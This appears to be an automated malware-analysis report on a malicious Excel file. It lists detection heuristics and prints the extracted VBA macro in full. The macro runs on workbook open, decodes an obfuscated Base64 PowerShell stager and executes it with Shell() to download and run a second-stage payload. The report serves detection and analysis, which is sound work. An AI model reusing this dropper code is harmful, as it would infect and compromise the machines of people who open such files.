Malware Insights
The sample is an Excel file containing a Workbook_Open VBA macro. This macro utilizes the Shell() function to execute a Base64-encoded PowerShell command. The decoded command appears to be a stager, indicating the file's purpose is to download and execute a second-stage payload. The specific PowerShell command is: cMD & /C PowErSHeLl -En ZgB1AG4AYwB0AGkAbwBuACAARABfAGUANABEAHcASwB0AHoAcABfAHQAdQBiAGwAIAAoACAAJABuAFcANQBDAGgARwB4AE0AaQBGAGQAWABNADgAVQBBAFgAYQB3AEoAOQBxACAALAAgACQAVwBUAG0ANgBjADQAYQBXAG4AZQBCADYAdwBIAHgAIAApAHsAKABOAGUAdwAtAE8AYgBqAGUA. This behavior is consistent with a macro-based downloader.
Heuristics 8
-
ClamAV: Xls.Dropper.Agent-7551716-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7551716-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Call Shell(R9JX5oZ6KFYLBibXHJfLYt3_CFf62P26_AWfNDQNUSFpN_msDK4QfL4gEJ(RlcmMnhB1nK), UxHcC5NbFAK6I_3QzElKtBbw2pUiY2FyYDqbE2OKav3kfFBxWNVw54Y) Do Until "xBLNu6SxLJpdArR36QAEuxY" <> "o78WYpJui" -
VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.Matched line in script
Loop Set ACeZjuP1ddoM3ETxR2DQLFvChr5nyLkcqjEfakNGeZEDiSjzL8ehgnR4Ob12ylAP2JfQ9xUp = CreateObject(f8qy8b43ZEDcTGIdRQiefZlQuQOBFkhsiJzAxn6_zBhJSeDak_P3zBsEUYDoL1uygT4HPHonUcnd2Z8NLwZESo2fZtnXiO29Prl9j4JaTkgUVNL4ZybXYne2aWrfcP__) Do Until "IlNwyI47pJTWlyMPZ78" <> "c9eLgPJ_" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Loop Set ACeZjuP1ddoM3ETxR2DQLFvChr5nyLkcqjEfakNGeZEDiSjzL8ehgnR4Ob12ylAP2JfQ9xUp = CreateObject(f8qy8b43ZEDcTGIdRQiefZlQuQOBFkhsiJzAxn6_zBhJSeDak_P3zBsEUYDoL1uygT4HPHonUcnd2Z8NLwZESo2fZtnXiO29Prl9j4JaTkgUVNL4ZybXYne2aWrfcP__) Do Until "IlNwyI47pJTWlyMPZ78" <> "c9eLgPJ_" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub workbook_open() iXln4uKa.eJWxIn6d_dEbk_TD79aN -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17790 bytes |
SHA-256: babbf5a570615b086863e7a03555f20792fd0bdae5d98d35dec6827249873467 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
210 of 290 identifiers look randomly generated (e.g. 'gF6so5SQezWxn_JH7G2GiIL89eRJhhnB6r9jPcpN') — consistent with name-mangling obfuscation. Carved artifact contains 4 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub workbook_open()
iXln4uKa.eJWxIn6d_dEbk_TD79aN
Do Until "iBAPJKQFGQeJsWuntYTA_z" <> "NMFYoNLeJrgvbHFm7VyUq84rMM"
Dim pRgnZNr7vCDul15vTaKjQdmuVnJ As CheckBox
Dim dVORWKZh37fQRDeVDhJ As Worksheet
Loop
Do Until "s7Z5mafm5JouQuD" <> "Mifs"
Dim oiJQAxwI2fvGiLJ4LCZlz1hdWMJNeNy5yS3kgnXEyQmFHC_hE1zIH33wAo4 As CheckBox
Dim wmhnmpzQNRiVgnSvhLZUSGkGnWov6ZE As Worksheet
Loop
Do Until "i1tkbOm9" <> "YQtyOfdQdxESiiSinAZ"
Dim O_DUxL9dwC1f4MAChQUkI_I8yEe9gI6aymsXMXACf9da6iYUhO_V As CheckBox
Dim oxyJz_eqp96lEXpOdkyIOQDIjqANpIZQIiv_xhhG3RUfC As Worksheet
Loop
Do Until "Tg3H17ZzEV" <> "tnjGDOAfhnafloa6BpO76fEqUbUf"
Dim RbzSbYOH8ZDlQy7XYx5Lp44siHZLh2uj4cM_ As CheckBox
Dim wGCLYQ8kklnEhqQggGzWhFsS8Bj_ncrwj2jPtrwW6RF6cSmziMBum As Worksheet
Loop
Do Until "yfpWrMVq26G4zepF" <> "vyTaZO9vznXteZZ7ItT42AdYpDU9"
Dim Blx6siZLZKWPpk2h87Vep6p As CheckBox
Dim tUKFtT4tV39t As Worksheet
Loop
Do Until "LzaA69Mf7UDLPH5aspyQ_6Cjfao" <> "ea_V"
Dim qzorf5ZebYrWP9zkXaApDqoOvzdcST_eTpeZ As CheckBox
Dim bL5wORxnLoSgkCbCZS As Worksheet
Loop
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "iXln4uKa"
Dim f8qy8b43ZEDcTGIdRQiefZlQuQOBFkhsiJzAxn6_zBhJSeDak_P3zBsEUYDoL1uygT4HPHonUcnd2Z8NLwZESo2fZtnXiO29Prl9j4JaTkgUVNL4ZybXYne2aWrfcP__ As String
Function R9JX5oZ6KFYLBibXHJfLYt3_CFf62P26_AWfNDQNUSFpN_msDK4QfL4gEJ(gF6so5SQezWxn_JH7G2GiIL89eRJhhnB6r9jPcpN97g91C84w_t4DCRW47tIkGr6KU26Ej2calGlkLE5gXWhxs72XkoSremzMkweIBwLGObZ4puqzxlKsIFaW9fc4ht59QW_YjuejJZgP)
Do Until "oEZO_QFhFicb4rWHHL8ot" <> "CxiQ__BiQ764swYdGCB9wOvFarFFP"
Dim dFOHEkP18_KD8ylfhJ47mAI5o7vBazP85RwzptlJHmIC As CheckBox
Dim y5xZHj3gKHlc7ScHxNXFrMGoAvzwgsx9zEEtGU217suvoS3 As Worksheet
Loop
Do Until "UPbV3MB" <> "TjvH"
Dim XVs_9bSmlzMr_bVgI8aU9 As CheckBox
Dim q3cfDU4txud896eF2sRaBqBGhb3fp1UH As Worksheet
Loop
Do Until "ZHqbNh4EX2wD" <> "stAfzYQMH47_zU8kbWD7Y"
Dim TgzNB1RyLBI38XxZVoOiF_eJpl3iQmAwynWKIQxg As CheckBox
Dim X61vE27IJ_qwWQTAngX8sfh_UCS_kO As Worksheet
Loop
Dim m5vu_qbNGDazpC6BPKO9tVQ3XxKXwQzWlx4l2f3h_lsuIJjxMcAwgV6Pl3VJeCZzLCM1HRIsQq8FlfrMLVIROCzN2l98IrC6J3
Do Until "zrjqCnXit5YFgS_aUBJe" <> "sXiN2V1YBg6g"
Dim z_viPUO7nBRX_pUj88Yt As CheckBox
Dim UaGUypw8gK91Lhc4outxN As Worksheet
Loop
Do Until "utf6bUJDZi8GHm" <> "X6ZsjhQYbCZKaKZ5"
Dim KMjdipjYVTl4EkAsC4D7NAHO7UPcdO38 As CheckBox
Dim leWsfmDqU_VO6VSzBqGgGcoIDTgMY As Worksheet
Loop
Do Until "F4EZnQiMPKYyVkMn3SiAY" <> "awGU"
Dim zHyLoKEzQMEPxQ_sltdrrt1aeIA7K9oF8_ As CheckBox
Dim xHt_k_R9_WGVDAdQvpRXl_PWqdIHmQh9Rs As Worksheet
Loop
Dim ACeZjuP1ddoM3ETxR2DQLFvChr5nyLkcqjEfakNGeZEDiSjzL8ehgnR4Ob12ylAP2JfQ9xUp
Do Until "b69lHcYrocRGE9a4K9whar1V" <> "QEyH"
Dim TwxGDThgRIfx94XwDhXJps_iJsQt_kSCmOV2nJDtZ4kBa9 As CheckBox
Dim hgSCQsqnbkqM7 As Worksheet
Loop
Do Until "SCwbp" <> "ybI"
Dim rffG3dmsvFBFJJtYARjU9wtIYLsqla5L9yy_v4XMC5pdnFuHRWZV As CheckBox
Dim MFJ5uUrot5ESKyGUTsmF4URCFOdR As Worksheet
Loop
Do Until "ajXNAh82n4M" <> "YKscFxURy8XxhsSb1"
Dim xFxezXMIf1Rl1OqYeL4I2JNt7oSBuzeqEECgErhvdRj6Co7rqWCe As CheckBox
Dim XQ9l1CgJ_KWoUkfuKI As Worksheet
Loop
Do Until "SvnGniiQqQ" <> "rkSVw9RwFZo"
Dim CJWqR55jZGKfgDO1OlXChTObb1_2 As CheckBox
Dim VRrnucPkOYUnnqOHeDvRfFBJqVFq45Ma4BM As Worksheet
Loop
Do Until "GXgtCwnkzPtW1DE6X_qTNOg6W" <> "VhpSJ"
Dim skcFt7Rrd2eJ469Olx8y As CheckBox
Dim UKp821jVpM7PnV_uV6U8_VKbs_m_XE52UUgg4dN2V6AP As Worksheet
Loop
Do Until "Mff5L2oa_t99MNvMj8i" <> "QD5Ry"
Dim b12qbkGT5gdhE_JMNYUjgg As CheckBox
Dim pNanv8Z8zRLqaU989WlmCpsMFdvUBmirP As Worksheet
Loop
Set ACeZjuP1ddoM3ETxR2DQLFvChr5nyLkcqjEfakNGeZEDiSjzL8ehgnR4Ob12ylAP2JfQ9xUp = CreateObject(f8qy8b43ZEDcTGIdRQiefZlQuQOBFkhsiJzAxn6_zBhJSeDak_P3zBsEUYDoL1uygT4HPHonUcnd2Z8NLwZESo2fZtnXiO29Prl9j4JaTkgUVNL4ZybXYne2aWrfcP__)
Do Until "IlNwyI47pJTWlyMPZ78" <> "c9eLgPJ_"
Dim KsdYfJUsJhasE9g3r26FuKksVZJFAOh8yBc As CheckBox
Dim az7_n1fOXeIW97SxWM7H_GtCE_Nq49b4DdEBuvQNN5KLLBJIpaIt12cS As Worksheet
Loop
Do Until "E49mlxUX" <> "CNSczQCk"
Dim r4D5fyCyDAayrBJAv6zwmkYiwI8rpSXXgxH8YWh_5xgw4hSKHbC As CheckBox
Dim TKxPEddFUzTGtkBQ43KjWWt1yCknMyuiLOCLsfCc5P As Worksheet
Loop
Do Until "KMiowJ2PYR62o7a6" <> "aB2y3e_u5"
Dim dgygVzroFJeQHOZv7YamTjEtwD_j_VoHxtRlBsBbLLgv5nRvaC6EmGi4 As CheckBox
Dim aDtRyFisdVbW7wsLV8 As Worksheet
Loop
koLHx9nQl9uqGeIJft8twbhkLtfLKm8DfatpADEZIIvZ2xt5Lg9sQTQGFk6CbZE8_qIotbHbmgilpGsX_j9nmMuKIliYGC8sDwYImDItWfEttnZ82fC1ZaSu68eG2rSjhyh2q = Chr(207 - 109) & Chr(232 - 127) & Chr(191 - 81) & Chr(154 - 108) & Chr(466 - 368) & Chr(281 - 184) & Chr(266 - 151) & Chr(268 - 167) & Chr(200 - 146) & Chr(108 - 56)
Do Until "YGBRyHuMHAZ" <> "iepIWJ88"
Dim smElwQgJ4xnSrsnqa1GNkgk7gQ As CheckBox
Dim vLhltNmTSdMAP7zXdqryz8qfBsV As Worksheet
Loop
Do Until "KBG_eUpXpOBhb_SW7lE7mpKbz" <> "h__weAiA1"
Dim aRKXrnihHGbG As CheckBox
Dim Otfit35usdynN6Po As Worksheet
Loop
Do Until "jJMagkm_Kg4aV_fC" <> "qRScL"
Dim tFnOF6bfIuV4784AjmEeWK9cWn7unfl6JVYEwQcpgnVGDbFhH8FoM8yh As CheckBox
Dim GJ1b9q1mHZrjgwLRH As Worksheet
Loop
Set m5vu_qbNGDazpC6BPKO9tVQ3XxKXwQzWlx4l2f3h_lsuIJjxMcAwgV6Pl3VJeCZzLCM1HRIsQq8FlfrMLVIROCzN2l98IrC6J3 = ACeZjuP1ddoM3ETxR2DQLFvChr5nyLkcqjEfakNGeZEDiSjzL8ehgnR4Ob12ylAP2JfQ9xUp.createElement("hu5YNOFGAZeKjgj9E")
Do Until "Y8rx1X" <> "gXkoX7rLg18lYAqyws9mte_Uuxew"
Dim EsOu65i_JNJqdCoxj2GrG5_2uIAWN4jZ5LZGr As CheckBox
Dim zb_Ftkdw5NbTgI5W_1JmV9v3KyOnsvPkgEsYBjWS As Worksheet
Loop
Do Until "j_y4hCqtnCyUOcT1oK54TyCH7" <> "zvaYdTdc1CQH1THGe9p65TCt2"
Dim sznb8tAo7qOOTHqT1XZBqxzvuyzVLBespgtdyA2QPb4m22Jy8kD As CheckBox
Dim lrI592pH4nb4KfiwWKezeHuN3K33m_Wj7hE7Vyd6SsWl99 As Worksheet
Loop
Do Until "aURWZuEMYc75Aw8wd3O17lYk" <> "YhqhfvtGN4"
Dim tgjOhkdsHl_Zwq7eMcVGBy5p72Dfqlr As CheckBox
Dim xpFCZKMSmVLcvk8u_j_hPuE24k3Rpg8Be4JtpmfS9HrtxTG_9ED5pDZ As Worksheet
Loop
m5vu_qbNGDazpC6BPKO9tVQ3XxKXwQzWlx4l2f3h_lsuIJjxMcAwgV6Pl3VJeCZzLCM1HRIsQq8FlfrMLVIROCzN2l98IrC6J3.DataType = koLHx9nQl9uqGeIJft8twbhkLtfLKm8DfatpADEZIIvZ2xt5Lg9sQTQGFk6CbZE8_qIotbHbmgilpGsX_j9nmMuKIliYGC8sDwYImDItWfEttnZ82fC1ZaSu68eG2rSjhyh2q
Do Until "BiNGyQ5m_WJ72YM_U" <> "DohFCUChbxRicBTabGIZeqACemV"
Dim lWOntAq1AdS9MJhU As CheckBox
Dim ckCkUzdXPCmyVnejY As Worksheet
Loop
Do Until "ZJKHhhuJS7HG6O6TgZbAAv" <> "zVqW2cU8"
Dim riNtWHSCcyIegOGEV3AFDGW7mQUuzI3p78ZhpehKL As CheckBox
Dim V8JzOSjMjA9bN As Worksheet
Loop
Do Until "iKPE_wgLS6bhi" <> "yiX1Sy4qH"
Dim KFW8ufNH4MrDzUYYbWn As CheckBox
Dim InNWqttnJInlTLZ_IrFA_7IBMye9L9Z1ZNfd7soL_2 As Worksheet
Loop
m5vu_qbNGDazpC6BPKO9tVQ3XxKXwQzWlx4l2f3h_lsuIJjxMcAwgV6Pl3VJeCZzLCM1HRIsQq8FlfrMLVIROCzN2l98IrC6J3.Text = gF6so5SQezWxn_JH7G2GiIL89eRJhhnB6r9jPcpN97g91C84w_t4DCRW47tIkGr6KU26Ej2calGlkLE5gXWhxs72XkoSremzMkweIBwLGObZ4puqzxlKsIFaW9fc4ht59QW_YjuejJZgP
Do Until "C9NjW1YUNqUVmKcKH1NuZKr" <> "wK_o5BZB4_G3Jvlami1ssdDkSAt"
Dim ix7Na1PaXQJcRxnaUeRRYeYjKia8QFcT4QzL6uoA3SMHb_g5DC As CheckBox
Dim r_AqTDXVC2YRIQxyiA7adizPX_QOG As Worksheet
Loop
Do Until "EAe3" <> "MXWSK7v"
Dim xirvjjI6Tlef8lgGNsQNvGM614X52YeVCJl51Cox5T5djdgOpOHi3q_pT As CheckBox
Dim u5pJNC4FGbw_kPKCcSZLrUUUHNkP5cUI6j_F9 As Worksheet
Loop
Do Until "moQ_WbBtND" <> "fYWibkYiSA9am"
Dim KnFlDAJDDzmGLT2Sk3JkSXC7jb8ngnkpyUKx4FJBx2aisZOPf As CheckBox
Dim NrFxySwjHAjBefYM7QzHDXcr As Worksheet
Loop
R9JX5oZ6KFYLBibXHJfLYt3_CFf62P26_AWfNDQNUSFpN_msDK4QfL4gEJ = m5vu_qbNGDazpC6BPKO9tVQ3XxKXwQzWlx4l2f3h_lsuIJjxMcAwgV6Pl3VJeCZzLCM1HRIsQq8FlfrMLVIROCzN2l98IrC6J3.NodeTypedValue
Do Until "Gwa6cMILqGQ5c1_BXLuE" <> "j9QTATvGX"
Dim FbzMXoB1zE51VTWMct_QwtzmWGHeE4HaAxjnapDJ8IgFzMLn3E As CheckBox
Dim gipyjVkKzPfeu57cyhsrvvo3SmKswI4ck9VhtKLLCNz As Worksheet
Loop
Do Until "wnaXkIUWn4ISt" <> "ve7I1XpU"
Dim B4ugWrmTfng61N2MjiZuOhZoln8 As CheckBox
Dim oOCKyHakfmCu As Worksheet
Loop
Do Until "mtRWeuwBgmriP85_cb_5st7" <> "cbqwXmTjfwvA7J"
Dim ykZBfb41MVGCgGB3vL4BD_m3RGCcJ3FQgJ_FS4h_gzhBdPBWt As CheckBox
Dim NtP2zy8fsXYZoTOyeVB4i1n4dLZkXA_nrPnVAnSOHvJHiFIMuotnUySV As Worksheet
Loop
End Function
Sub lpBqKKmT_p94LslOBnLrotRsImVjBTiLljdYQqHAkRnqKqEGPzp5Pt81VRfgyBQnFvQkNK8SdKFU_jfagMSJnm51llC8JkJh__jYYc3()
UxHcC5NbFAK6I_3QzElKtBbw2pUiY2FyYDqbE2OKav3kfFBxWNVw54Y = 0
Do Until "UWlWVG" <> "qRuqWo2xzBvuvpdSVBLyrOZR27QP"
Dim nOq2vnbzxYug2z4kiDfoiBAjIgXa As CheckBox
Dim bxZWjHiT39GMne7Oo62UxsxYk As Worksheet
Loop
Do Until "qkNFrNNA8UjTHQ" <> "qSOo_Xa5fDScjf_Cs9_v3fTMJs"
Dim LoIU5enIBgCs_Hu_JvMmr65kjSVWI8BcTfNOVqW86UBdoO As CheckBox
Dim lFaHZ7EHOsgtjHO_CeiXc3erbWNqV3Z6TSsOrxjfMV8ex7wxoT88E1 As Worksheet
Loop
Do Until "eskrpBqXvVQjYPY_QN5CIE5" <> "ejZAA5bzbw_n9GgxyjkLLgeXoCs"
Dim CCpYxkyJZPWuayt6bYUREVMTeRvo7_AU7JYvvWKBH7FfaxHWakB As CheckBox
Dim RtloxU3dyHLUOAwOX8I_MRHHOq3pHWLUBBBLgs8YdpL9ttPY_38cZ7u9 As Worksheet
Loop
RlcmMnhB1nK = RlcmMnhB1nK & "YwBNAEQAIAAmACAALwBDACAAUABvAHcARQByAFMASABlAEwAbAAgAC0ARQBuACAAWgBnAEIAMQBBAEcANABBAFkAdwBCADAAQQBHAGsAQQBiAHcAQgB1AEEAQwBBAEEAUgBBAEIAZgBBAEcAVQBBAE4AQQBCAEUAQQBIAGMAQQBTAHcAQgAwAEEASABvAEEAYwBBAEIAZgBBAEgAUQBBAGQAUQBCAGkAQQBHAHcAQQBJAEEAQQBvAEEAQwBBAEEASgBBAEIAdQBBAEYAYwBBAE4AUQBCAEQAQQBHAGcAQQBSAHcAQgA0AEEARQAwAEEAYQBRAEIARwBBAEcAUQBBAFcAQQBCAE4AQQBEAGcAQQBWAFEAQgBCAEEARgBnAEEAWQBRAEIAMwBBAEUAbwBBAE8AUQBCAHgAQQBDAEEAQQBMAEEAQQBnAEEAQwBRAEEAVgB3AEIAVQBBAEcAMABBAE4AZwBCAGoAQQBEAFEAQQBZAFEAQgBYAEEARwA0AEEAWgBRAEIAQwBBAEQAWQBBAGQAdwBCAEkAQQBIAGcAQQBJAEEAQQBwAEEASABzAEEASwBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAFUAdwBCADUAQQBIAE0AQQBkAEEAQgBsAEEARwAwAEEATABnAEIATwBBAEcAVQBBAGQAQQB"
Do Until "jcY" <> "FbKTZ6zRM9jqo_s"
Dim ifEHXdYbpOYr4DOBkDRz7QUuC3aCYYJQcqVN3a_5p9e As CheckBox
Dim AL5M769mUHuQITEdCUBODFNLqAHI8WH8uPsy8LEbZ As Worksheet
Loop
Do Until "g6T5_DhUj2T6" <> "N_48rf6wxn89we3jOfyOhyeJ3P"
Dim k6ixWdxAfOyzOoHok37TGiJ7_CBDVYcsDZ59L_ObI As CheckBox
Dim u9ltYPIE3MlLhHBulr As Worksheet
Loop
Do Until "SbtnFv" <> "EuxtIajlcIUjgLov17bJzeeQ2L"
Dim jP5_YF2znmaX6am_sWwaMXCgjwJ55jNe1 As CheckBox
Dim zRqctMrqhASbAAgzvGdZ9JMWXl664CW5g9k As Worksheet
Loop
RlcmMnhB1nK = RlcmMnhB1nK & "BAHUAQQBGAGMAQQBaAFEAQgBpAEEARQBNAEEAYgBBAEIAcABBAEcAVQBBAGIAZwBCADAAQQBDAGsAQQBMAGcAQgBFAEEARwA4AEEAZAB3AEIAdQBBAEcAdwBBAGIAdwBCAGgAQQBHAFEAQQBSAGcAQgBwAEEARwB3AEEAWgBRAEEAbwBBAEMAQQBBAEoAQQBCAHUAQQBGAGMAQQBOAFEAQgBEAEEARwBnAEEAUgB3AEIANABBAEUAMABBAGEAUQBCAEcAQQBHAFEAQQBXAEEAQgBOAEEARABnAEEAVgBRAEIAQgBBAEYAZwBBAFkAUQBCADMAQQBFAG8AQQBPAFEAQgB4AEEAQwBBAEEATABBAEEAZwBBAEMAUQBBAFYAdwBCAFUAQQBHADAAQQBOAGcAQgBqAEEARABRAEEAWQBRAEIAWABBAEcANABBAFoAUQBCAEMAQQBEAFkAQQBkAHcAQgBJAEEASABnAEEASQBBAEEAcABBAEQAcwBBAEsAQQBCAE8AQQBHAFUAQQBkAHcAQQB0AEEARQA4AEEAWQBnAEIAcQBBAEcAVQBBAFkAdwBCADAAQQBDAEEAQQBMAFEAQgBqAEEARwA4AEEAYgBRAEEAZwBBAEYATQBBAGEAQQBCAGwAQQBHAHcAQQBiAEEAQQB1AEEARQBFAEEAYwBBAEIAdwBBAEcAdwBBAGEAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAE"
Do Until "SQNlhrezALGuIV" <> "wFAY7n_RDGPuwdmX4BYMgfe5qcTKJ"
Dim PzviyOP4FA6N9JcP7rUWxLssHfPjEqcS2GwPdK8NVc As CheckBox
Dim v_b8hUAmtu8xUCFBYQ8 As Worksheet
Loop
Do Until "oxXgkUzVLvusF_SYsPJ75ha7qUD" <> "utIbuoOp"
Dim oWazkr8x19A1wBlVuNTBEUazOQDlBS9DzSmBQYhN6tj8pcOsGvpfS As CheckBox
Dim LiS5kjRnUvf96_bWi_TpEEUtbHuA As Worksheet
Loop
Do Until "ScNlbs" <> "lsSFpyNjj8C9scwTgqUzMFMhaa"
Dim xQS1f4eLWrDbXeZddVpcXQ As CheckBox
Dim M86gPlddetnM_7OsZ As Worksheet
Loop
RlcmMnhB1nK = RlcmMnhB1nK & "EARwA4AEEAYgBnAEEAcABBAEMANABBAFUAdwBCAG8AQQBHAFUAQQBiAEEAQgBzAEEARQBVAEEAZQBBAEIAbABBAEcATQBBAGQAUQBCADAAQQBHAFUAQQBLAEEAQQBnAEEAQwBRAEEAVgB3AEIAVQBBAEcAMABBAE4AZwBCAGoAQQBEAFEAQQBZAFEAQgBYAEEARwA0AEEAWgBRAEIAQwBBAEQAWQBBAGQAdwBCAEkAQQBIAGcAQQBJAEEAQQBwAEEARABzAEEASQBBAEIAOQBBAEEAMABBAEMAZwBCADAAQQBIAEkAQQBlAFEAQgA3AEEAQQAwAEEAQwBnAEEATgBBAEEAbwBBAEoAQQBCAGsAQQBFAG8AQQBOAFEAQgBmAEEARwBjAEEAVQBBAEIAUwBBAEgAVQBBAFIAZwBCAGEAQQBFAHMAQQBTAGcAQgBNAEEARwAwAEEATgBRAEIAbgBBAEQAawBBAE4AUQBCAFEAQQBFAG8AQQBQAFEAQQBrAEEARwBVAEEAYgBnAEIAMgBBAEQAbwBBAFYAUQBCAFQAQQBFAFUAQQBVAGcAQgBRAEEARgBJAEEAVAB3AEIARwBBAEUAawBBAFQAQQBCAEYAQQBDAHMAQQBKAHcAQgBjAEEASABNAEEATgB3AEEAeQBBAEgATQBBAEwAZwBCAGwAQQBIAGcAQQBaAFEAQQBuAEEARABzAEEARABRAEEASwBBAEUAU"
Do Until "HbfEDP_QyXslz18BeCT59l3q" <> "LSxIebNu6gA2KIqzNaLu"
Dim o2pKc45xZehyL17 As CheckBox
Dim PFS5c13S6IS3mDtJo59fZG8AhS6dAb As Worksheet
Loop
Do Until "B8RtiFGPP_ugsAIAPspS" <> "LSeHHQVI4XRcFTi3cmCXn9u2W7z"
Dim gBLwpiGt9MZ7y4EEUNO3xZWNCOcNMhltKZx As CheckBox
Dim Gqjk48jjnCoMcg2XmFCBFm7tZ_3eYjouWE7XumU4MysKWB_ As Worksheet
Loop
Do Until "qUH9mGXpdszJx_" <> "DIDV3yVicm_uGwP4uVW_KIPkBl"
Dim Xbn5bfyHnoxcLlF1e91_jYj8bvs343aTOy8EyrgMRn As CheckBox
Dim kN62JaDQtlIlX92oaow6NuLbLVn_Bwamq6wUBjkPxkGyImZ8MIO1YUXz As Worksheet
Loop
RlcmMnhB1nK = RlcmMnhB1nK & "QBBAFgAdwBCAGwAQQBEAFEAQQBSAEEAQgAzAEEARQBzAEEAZABBAEIANgBBAEgAQQBBAFgAdwBCADAAQQBIAFUAQQBZAGcAQgBzAEEAQwBBAEEASgB3AEIAbwBBAEgAUQBBAGQAQQBCAHcAQQBIAE0AQQBPAGcAQQB2AEEAQwA4AEEAWQBRAEEAdQBBAEcAUQBBAGIAdwBCAHIAQQBHADgAQQBMAGcAQgB0AEEARwA4AEEAWgBRAEEAdgBBAEcANABBAGIAUQBCAG0AQQBHADAAQQBlAFEAQgB1AEEAQwA0AEEAYQBnAEIAdwBBAEcAYwBBAEoAdwBBAGcAQQBDAFEAQQBaAEEAQgBLAEEARABVAEEAWAB3AEIAbgBBAEYAQQBBAFUAZwBCADEAQQBFAFkAQQBXAGcAQgBMAEEARQBvAEEAVABBAEIAdABBAEQAVQBBAFoAdwBBADUAQQBEAFUAQQBVAEEAQgBLAEEARABzAEEARABRAEEASwBBAEEAMABBAEMAZwBCADkAQQBHAE0AQQBZAFEAQgAwAEEARwBNAEEAYQBBAEIANwBBAEgAMABBAA=="
Do Until "AbnwwCO7Jf4bKemzC" <> "eFmlVRi6ou2fiLTf6Sh5xc"
Dim tUJnmr7vreYx4NuLnI_1GPWYjSi5NKD5NBUQZrnz82C As CheckBox
Dim UFuREuroWz7Tc8uCRHBgeadi12cu6dM2OLAQyAbIefpDPp2RonTq5T As Worksheet
Loop
Do Until "f4lJZMQ6s2lD_O6bMQo2A9uY" <> "QI9IEPHe64pFomiN2hvw"
Dim aLklVLYCACRgHL3OMFzasEFIiywirZ_aK88DhVw2zEc3kG7bs As CheckBox
Dim R_trTCTEZBfYzTjC1TJMyqz As Worksheet
Loop
Do Until "S7jlkMhZ1SyXYNs" <> "l8GSOb_u3ytwvM4kIYttZr21ko"
Dim IxFcPk1ieDdi1rWxmDE5wOx8Eb3_OriW_zrAlRekCBmUOIi_cC7j9 As CheckBox
Dim DG49HVwruRwcFiA_VKSgc2tlbr633kKt8W As Worksheet
Loop
Do Until "qwAb6r3Pr" <> "z1Hih9EzmBdKVQfZY3"
Dim yIEBdrmRKUrWyjjBvjhUT3eUF53sTedBeyDFkwUZ6NwsFOL4jSe51Cg5mt As CheckBox
Dim iy48pzp1_ecZ8MGYEEuMzr8H__hJaPGbz2vkBP As Worksheet
Loop
Do Until "E2ZX" <> "LWE3fpsmay2fD1z"
Dim t7oPeXrW_j_afWx92vadjBFb2axyRjRx5uPRZk59c_EQaNKOlz As CheckBox
Dim tlUNrzLXDj3DXPPeuE As Worksheet
Loop
Do Until "egPzbAi5" <> "xAlNhKbjhJiegaMK1W"
Dim j5pAIsZHFQr3ITovBJvxBpkxq_6OgCS_9DYmNvz2wX_J2oANyuYB As CheckBox
Dim XBU4S2S_wJjC7m4_4AgNT3AljZ5ACpYvmQo6qdSVbt_k As Worksheet
Loop
Call Shell(R9JX5oZ6KFYLBibXHJfLYt3_CFf62P26_AWfNDQNUSFpN_msDK4QfL4gEJ(RlcmMnhB1nK), UxHcC5NbFAK6I_3QzElKtBbw2pUiY2FyYDqbE2OKav3kfFBxWNVw54Y)
Do Until "xBLNu6SxLJpdArR36QAEuxY" <> "o78WYpJui"
Dim xXxhLpOFVjhajJ48KYYJr8z_kgQwg4FBX As CheckBox
Dim Epl4spOB4sJN7DvCXLPtjz As Worksheet
Loop
Do Until "yhx6nXbhabeBc" <> "dQDasIHxNntnbdsHpzPxNz"
Dim CEwAziTPqr4iPu As CheckBox
Dim TufjZBi3CQJ3rYukMMNmM8nqRib87Bs3M8w4S As Worksheet
Loop
Do Until "pVLOIBdz7z5" <> "eEcpTmfVFxQ1hk6AgQoskz"
Dim QgzAVC5H1TrgazgCgiZZwdXemnMA6gQFRnw5zSOc As CheckBox
Dim Z776H_H_bdt_QJCwHTVr As Worksheet
Loop
